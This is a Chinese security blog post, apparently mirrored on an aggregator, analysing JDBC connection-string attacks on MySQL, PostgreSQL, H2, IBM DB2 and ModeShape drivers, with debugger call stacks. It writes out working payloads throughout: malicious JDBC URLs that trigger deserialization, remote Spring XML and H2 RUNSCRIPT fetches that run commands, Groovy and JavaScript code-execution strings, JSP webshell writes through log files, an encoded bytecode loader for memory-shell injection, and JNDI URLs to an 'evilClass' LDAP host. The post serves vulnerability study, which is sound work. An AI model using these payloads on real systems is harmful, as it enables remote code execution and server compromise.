4

Java安全之JDBC Attacks学习记录 - Zh1z3ven

 1 year ago
source link: https://www.cnblogs.com/CoLo/p/17051019.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Java安全之JDBC Attacks

写在前面#

很早就看到了Make JDBC Attacks Brilliant Again议题,一直想分析学习下,但是太懒。

MySQL#

原理概述#

"扩展参数" 就是本次导致安全漏洞的一个重要的部分。

Mysql JDBC 中包含一个危险的扩展参数: ”autoDeserialize“。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的数据,这就产生了 RCE。

此时如果攻击者作为 MYSQL 服务器的角色,给客户端返回了恶意的序列化数据,客户端就会自动反序列化触发恶意代码,造成漏洞。

简单说一下流程,主要是用到两类参数

  • 自动检测与反序列化存在BLOB字段中的对象。 autoDeserialize
  • 触发反序列化
    • queryInterceptors,一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。
    • detectCustomCollations

通过ServerStatusDiffInterceptordetectCustomCollations触发查询语句SHOW SESSION STATUSSHOW COLLATION等,并调用resultSetToMap处理数据库返回的结果,而当autoDeserialize为true时会对server中返回的结果进行反序列化,从而造成代码执行

Driver:

  • mysql-connector-java 5.x: com.mysql.jdbc.Driver
  • mysql-connector-java 8.x: com.mysql.cj.jdbc.Driver

调试分析#

queryInterceptors#

public static void main(String[] args) {
  try{
    String driver = "com.mysql.jdbc.Driver";
    String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=calc";//8.x使用
    //String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
    Class.forName(driver);
    Connection conn = DriverManager.getConnection(DB_URL);
  }catch (Exception e){

  }

}

跟进到mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrl#getConnectionUrlInstance方法

1835657-20230113233952442-1886378085.png

首先在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#parseConnectionString方法内解析jdbc串

1835657-20230113234002688-376702673.png

返回的是ConnectionUrlParser对象,具体如下

1835657-20230113234011682-1664935652.png

继续往下看

mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#processKeyValuePattern循环解析Properties并添加到kvMap中,之后赋值给ConnectionUrlParser.parsedProperties字段

1835657-20230113234021266-334334789.png

1835657-20230113234030140-1320956907.png

ConnectionImpl#setAutoCommit会赋值sql语句SET autocommit=1

1835657-20230113234039945-1855413381.png

ServerStatusDiffInterceptor#populateMapWithSessionStatusValues会去数据库执行查询SHOW SESSION STATUS,跟进ResultSetUtil.resultSetToMap(toPopulate, rs);

1835657-20230113234048534-520872184.png

其中调用getObject,逻辑如下,先判断传说的数据流,这里走的是BLOB不过BIT好像也会反序列化,序列化数据存储在this.thisRow

1835657-20230113234058769-769593315.png

第二个元素

1835657-20230113234108009-1665513192.png

最后就是java原生的反序列化了

1835657-20230113234115577-441054190.png
readObject:431, ObjectInputStream (java.io)
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:21, Attack8x (org.su18.jdbc.attack.mysql.serverstatus)

detectCustomCollations#

简单看一下,调用点在mysql-connector-java-5.1.19.jar!/com/mysql/jdbc/ConnectionImpl#buildCollationMapping

1835657-20230113234129307-966310224.png

后面依旧是resultSetToMap中调用了getObject触发反序列化

1835657-20230113234136495-839622199.png
readObject:431, ObjectInputStream (java.io)
getObject:4984, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:506, Util (com.mysql.jdbc)
buildCollationMapping:963, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3445, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2437, ConnectionImpl (com.mysql.jdbc)
createNewIO:2207, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:22, Attack511x (org.su18.jdbc.attack.mysql.customcollations)

小结#

简单小结一下,各个小版本间可利用的payload可以参考下面fnmsd师傅的图

autoDeserialize=true 使JDBC 客户端将会自动反序列化服务端返回的数据,这个过程通过getObjec方法触发
但默认情况下不会自动触发getObject,所以需要一个触发点
目前公开的有2种

  1. 拦截器queryInterceptors
    "queryInterceptors" 参数可以指定接口 com.mysql.cj.interceptors.QueryInterceptor 的子类,通过名字可以看到,这是一个起到”拦截器“作用的类。在这些拦截器的实现类中,可以修改或增强语句的某些子级所做的处理,例如自动检查 memcached 服务器中的查询数据、重写慢速查询、记录有关语句执行的信息,或将请求路由到远程服务器。总体来说,这是一个为查询提供自动化增强功能的参数。

ServerStatusDiffInterceptor 用于显示在查询之间服务器状态的差异,preProcess()/postProcess() 调用 populateMapWithSessionStatusValues()方法。

populateMapWithSessionStatusValues() 使用已经建立的 connection 创建并执行了一个新的语句 SHOW SESSION STATUS,并调用 ResultSetUtil.resultSetToMap() 处理返回结果。

resultSetToMap 中调用了之前我们提到的 getObject() 方法,连成了一条调用链。

queryInterceptors ==> ServerStatusDiffInterceptor
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

  1. detectCustomCollations
    detectCustomCollations ==> detectCustomCollations=true

1835657-20230113234205791-1594456064.png


1835657-20230113234211495-479310308.png

PostgreSQL#

同理PostgreSQL的property也存在安全问题CVE-2022-21724

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围:

  9.4.1208 <=PgJDBC <42.2.25

  42.3.0 <=PgJDBC < 42.3.2

这里主要记录两个点

  • socketFactory / socketFactoryArg 等property调用有参构造触发的RCE
  • loggerLevel / loggerFile 日志功能写文件

网上分析文章一大堆,之前也调试过,这次就简单记录一些点。

socketFactory/socketFactoryArg#

有公开的一个poc,详情见

https://github.com/advisories/GHSA-v7wg-cpwc-24m4

jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>open -a Calculator</value>
          </list>
        </constructor-arg>
    </bean>
</beans>
public class AttackPgsqlsocketFactory {

    public static void main(String[] args) throws Exception {

        String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
        DriverManager.registerDriver(new Driver());
        Connection connection = DriverManager.getConnection(URL);
        connection.close();
    }
}

首先在Driver#parseURL方法内是对jdbc字符串的处理,以indexof?作为分割符,拿到properties参数,后续将结果保存为Properties对象返回

1835657-20230113234300143-891750154.png

1835657-20230113234308878-2033969802.png

后续关注对socketFactory这个Property的处理即可,跟进到SocketFactoryFactory#getSocketFactory方法。

先从前面解析jdbc串时 return的Properties对象中,获取socketFactory的类名,也就是org.springframework.context.support.ClassPathXmlApplicationContext

1835657-20230113234318342-464051668.png

之后调用instantiate对其实例化处理,也是漏洞触发点,其中包含了PGProperty.SOCKET_FACTORY_ARG.get(info)的步骤

这里是一个任意类实例化的点,可以调用只有1个入参,参数类型为String的有参构造进行实例化

1835657-20230113234328622-1976316646.png
instantiate:45, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:18, AttackPgsqlsocketFactory (me.zh1z3ven.jdbc.attack)

关于Pgsql的Properties其实可以看PGProperty.class里面都有对应的解释说明

1835657-20230113234341213-2060387260.png

在审计时可以将对应环境的classpath中的class拿出来通过静态分析工具去跑符合条件的类,说不准可以跑出不用出网的gadget

loggerLevel/loggerFile#

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123

这个点不算复杂的,是log功能写文件,只是提一下写shell需要注意的一个地方,文件内容在下图地方会有一个处理

这里构造数据包时可以通过unicode编码shell内容=来进行shell写入,通过本身代码逻辑,让=截断掉前面的shell内容绕过URLDecoder的处理。其他的方式应该也可以,只要让=第一次出现的位置位于shell内容后面或者shell内容中不存在会让URLDecoder.decode抛异常的字符即可。

1835657-20230113234355439-512826946.png
<%! \uxxx\uxxx%><%\uxxx%>

H2#

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

而h2本身的console界面也是可以通过jdbc连接串来进行jndi利用的

1835657-20230113234422305-1783388034.png

除此之外ppt中给出了3条gadget

分别有不同的限制,RUNSCRIPT需要出网加载sql,groovy需要本地存在groovy依赖,那么看下来js是限制条件比较少的一个

1835657-20230113234436207-1398337252.png

简单跟了下h2的处理逻辑

抛开初始化部分,在h2-1.4.199.jar!/org/h2/engine/Engine#openSession开始进入jdbc连接串的处理,预处理时主要是初始化jdbc相关的信息,最终保存在ConnectionInfo对象内,而走入executeUpdate方法逻辑内后开始真正执行一些sql语句,恶意的sql为漏洞的触发点,而Litch1师傅给出的三条gadget也是分别从sql入手的 RUNSCRIPT/CREATE ALIAS/CREATE TRIGGER

1835657-20230113234448209-1208659726.png

三条gadget入口点都是INIT这个properties,重点关注h2对其的处理即可。

RUNSCRIPT#

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

调试分析#

看到h2-1.4.199.jar!/org/h2/command/dml/RunScriptCommand#update方法,跟进this.openInput()

1835657-20230113234506749-1185779120.png

该方法去读去远端文件,将文件内容赋值给this.in

1835657-20230113234516836-1135646154.png

拿到sql语句后进入FunctionAlias.newInstanceFromSource开始处理

1835657-20230113234525286-1411345707.png

略过一些初始化,中间去判断了是否为groovy脚本等判断,之后进入h2-1.4.199.jar!/org/h2/engine/FunctionAlias#JavaMethod来构造一个JavaMethod对象,对象结构如下

1835657-20230113234533387-170258516.png

之后跟进RunScriptCommand#this.execute()

1835657-20230113234548558-2110607859.png

最终在FunctionAlias$JavaMethod#getValue执行代码,可以看出底层也是反射去调用执行的

1835657-20230113234600940-600436616.png
exec:347, Runtime (java.lang)
shellexec:6, EXEC (org.h2.dynamic)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getValue:460, FunctionAlias$JavaMethod (org.h2.engine)
getValue:40, JavaFunction (org.h2.expression.function)
query:64, Call (org.h2.command.dml)
execute:77, RunScriptCommand (org.h2.command.dml)
update:58, RunScriptCommand (org.h2.command.dml)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:23, AttackH2ByRunScript (org.su18.jdbc.attack.h2)

Groovy+CREATE ALIAS#

jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("open -a Calculator")})def x'

调试分析#

通过ASTTest调用assert执行groovy代码

跟进到h2-1.4.199.jar!/org/h2/util/SourceCompiler#getClass方法,方法内逻辑很多,先只看groovy部分

其中通过sql语句是否startsWith//groovy@groovy来判断是否为groovy表达式

private static boolean isGroovySource(String var0) {
  return var0.startsWith("//groovy") || var0.startsWith("@groovy");
}

1835657-20230113234615626-184391010.png

而这里的CompilerGroovyCompiler,后续调用parseClass来执行groovy表达式

1835657-20230113234626319-310898758.png
exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:1, Script1
evaluate:427, GroovyShell (groovy.lang)
evaluate:461, GroovyShell (groovy.lang)
evaluate:436, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:114, ASTTestTransformation$1 (org.codehaus.groovy.transform)
lambda$compile$15:640, CompilationUnit (org.codehaus.groovy.control)
accept:-1, 1026055550 (org.codehaus.groovy.control.CompilationUnit$$Lambda$25)
ifPresent:159, Optional (java.util)
compile:640, CompilationUnit (org.codehaus.groovy.control)
doParseClass:389, GroovyClassLoader (groovy.lang)
lambda$parseClass$3:332, GroovyClassLoader (groovy.lang)
provide:-1, 482082765 (groovy.lang.GroovyClassLoader$$Lambda$4)
compute:163, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
getAndPut:154, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
parseClass:330, GroovyClassLoader (groovy.lang)
parseClass:314, GroovyClassLoader (groovy.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callMethod:536, Utils (org.h2.util)
callMethod:513, Utils (org.h2.util)
parseClass:509, SourceCompiler$GroovyCompiler (org.h2.util)
getClass:139, SourceCompiler (org.h2.util)
getMethod:234, SourceCompiler (org.h2.util)
loadFromSource:130, FunctionAlias (org.h2.engine)
load:118, FunctionAlias (org.h2.engine)
init:105, FunctionAlias (org.h2.engine)
newInstanceFromSource:97, FunctionAlias (org.h2.engine)
update:53, CreateFunctionAlias (org.h2.command.ddl)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:25, AttackH2ByGroovy (org.su18.jdbc.attack.h2)

JavaScript+CREATE TRIGGER#

String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";

调试分析#

略过一些初始化的步骤,h2主要通过ConnectionInfo存储jdbc连接串等数据

跟进到h2-1.4.199.jar!/org/h2/engine/Engine#openSession,前面会将参数跟进init进行处理

1835657-20230113234638428-1138685896.png

会处理成如下格式

1835657-20230113234652901-1999323111.png

跟进var22.executeUpdate(false)

h2-1.4.199.jar!/org/h2/command/Parser#parse中会将jdbc串进行解析,

CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")'
//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")

sink点在:

TriggerObject#loadFromSource方法,首先SourceCompiler.isJavaxScriptSource(this.triggerSource)//javascript#ruby来判断是js还是ruby语法

1835657-20230113234704209-1032274110.png

是js则之后调用eval执行js代码

1835657-20230113234712852-1094703654.png

1835657-20230113234723660-14430126.png

执行任意字节码#

尝试构造执行任意字节码的payload

H2对于init的格式化处理在ConnectionInfo#readSettingsFromURL中,部分逻辑如下

1835657-20230113234734137-941693052.png

跟进 arraySplit其中可以看到,对于一些特殊字符可以通过\来进行转义,因为h2在parse jdbc字符串的时候是通过;分号进行分割properties的,而js中会经常用到;所以这里可以通过\;来保证不错误解析我们的jdbc串。

1835657-20230113234742226-383735931.png

而js语句需要拼接到sql中,sql是通过'单引号包裹的,这里我们还需要把js中的'改成"

测试base64的会抛异常,用woodpecker JExpr表达式生成插件的JS-BigInteger可以正常食用,弹计算器payload如下:

String javascript = "//javascript\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader()\\;try{classLoader.loadClass(\"calc\").newInstance()\\;}catch (e){var clsString = classLoader.loadClass(\"java.lang.String\")\\;var bytecodeRaw = \"-5d0gv4aq1you8hawg2mpj9nktafb7tljy9bnbegiqsk808saabml7o3t292jac7i00g0728emolez6qs5k67no20hcir24qej6cwew6q09vwz5h9ydgv5lvhjuvabg6wg002x1wqucoc39whhg24i78rx95tfa7l4nxfk82v4vrhf8u47iss5as2z8nobqrr3os83kw253hd6yp7d6r69nukbn6eak5t561zempt8ic4i629qxwgg1yz98bvudk51jtwlji4rkpdsrqw63s3uq6skp4p6ghpd2gbw5ffb0n360re4s9e93l8jdu9hvr3slymqtt6w3dte1hrtz4jqmbwacxqvs2as2fojc6z6f9ramext15bqmqzccc8hweetz2e4ieeh13cjnl5lgec233xa40opzux1ullqtao1yedmj8y36taohdze4fgz8in9d1wm5avr4813tyg619hsga52or3n1n0i7ty6ly03777911d8g6dm2uzdb027awrhk9ph1mr5zri0j1jy6tzc6zy9y0h1o6qcoirl27fygukbdlqmu919tau2nd8kpt8gjaa70j4pduw3f74kplqujyh00bg2djvmaqv8by6htrm8vp4wsi3ktnlhddi4mxqfj34uwo0uozu9asg3sh9gevokmehh81gyxogy84eo0sd6p4rkhmx1wyqktm18u0iswb16bh272kl7f4w7zyhwnm48pwxgvb6m9h2kso2rnjukhc7mbe2fa9j2u3gj0dir7xferg1mxq26hcm2ihpkrhksfm535p9nimslh6q0ijn0ogwdzk91vf8b08n7ai4y13subxd4zrtvgq5e3q8mmlcyfulm6\"\\;var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray()\\;var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\")\\;var clsByteArray = \"a\".getBytes().getClass()\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt)\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}";

burp发包时注意\n是回车,而不要直接在参数处输入字符\n需要用%0a,其他字符也url编码即可,且同一个类貌似只能加载一次。

注入内存马的包可能不会回显header,正常会报cannot be cast to org.h2.api.Trigger异常,这些属于正常情况不用管。

IBM DB2#

jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;

该property可以导致jndi

1835657-20230113234834350-294263091.png

在此不搬运了,ppt中给出了详细的流程和sink点

ModeShape#

通过jcr api可以触发jndi,同DB2,也是个jndi的利用

jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass

derby因为没怎么遇到过,SQLite利用成本高,(主要是我懒)在此不做分析

Reference#

《Make JDBC Attacks Brilliant Again》议题

结语#

厦门茉莉花的花语是:天天开心


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK